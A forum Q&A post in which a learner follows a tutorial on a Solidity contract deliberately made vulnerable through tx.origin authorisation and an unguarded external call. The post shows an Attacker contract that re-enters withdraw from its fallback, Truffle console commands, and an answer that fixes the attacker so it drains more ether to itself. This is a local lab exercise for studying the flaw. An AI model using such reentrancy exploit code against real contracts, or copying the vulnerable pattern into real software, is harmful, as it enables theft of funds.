3

I am doing the example provided at: JustDev I have parameterized the withdraw method.

Victim SC is:

pragma solidity ^0.5.8;
contract Victim{
   address owner;
   constructor() public{
      owner = msg.sender;
   }
   function  withdraw(address payable to, uint amount) public{
      
     // uint transferAmt = 1 ether;
      require(tx.origin == owner); 
      (bool success, ) = to.call.value(amount)("");
      require(success);
   }
   function() payable external {}
}

The Attacker SC:

pragma solidity ^0.5.8;
import './Victim_tx8.sol';
contract  Attacker{
   uint amount = 1 ether;
   address payable owner;
   Victim  public v;
   uint public  count;
   event LogFallback(uint c, uint balance);
   
 
   constructor (address payable victim) public {
      owner = msg.sender;
      count =0;
      v=Victim(victim);
   }
  

   function attack(address payable to, uint a) public {
      v.withdraw(to, a);
   }

   function () external payable{
      count++;
      emit LogFallback(count, address(this).balance);
      if(count < 5 ) {
         v.withdraw(owner,amount);
      }
    }
}

I think it is not executing the reentrant call 5 times (why?). I used the Truffle console and executed the following commands:

       V = await Victim.deployed()
       A = await Attacker.deployed()
       acc2 = accounts[2]
       web3.eth.sendTransaction({to:V.address, from:acc2, value: web3.utils.toWei('15')})//executes the transaction
       Vbal = await web3.eth.getBalance(V.address)
       web3.utils.fromWei(Vbal, "ether")
       15
       await A.attack(A.address, web3.utils.toWei('1',"ether"),{from:accounts[0]})//executes the transaction
       Vbal = await web3.eth.getBalance(V.address)
       web3.utils.fromWei(Vbal, "ether")
       '13'
       Abal = await web3.eth.getBalance(A.address)
       undefined
       web3.utils.fromWei(Abal, "ether")
       '1'

Initial balance of Victim is 0, and incremented to 15. During reentrancy Withdraw(..) is transferring Ether, but Victim final balance is '13', and attacker balance is only '1',why?. Somebody please guide me why there are not 5 rounds of reentrant calls?

1 Answer 1

2

Just replace v.withdraw(owner,amount); by v.withdraw(address(this),amount); in the fallback function of the Attacker smart contract.

In fact owner here refers to the account used to deploy Attacker. So currently the withdraw function is only called twice to :

  • transfer the amount a (1 ether) to the to address (Attacker address), a and to being the parameters of the attack function.
  • transfer 1 ether (amount state variable) to the owner EOA.

By replacing owner by address(this) in the fallback you will get the correct behavior and the Attacker smart contract will receive 4 ether + a.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge that you have read and understand our privacy policy and code of conduct.

Not the answer you're looking for? Browse other questions tagged or ask your own question.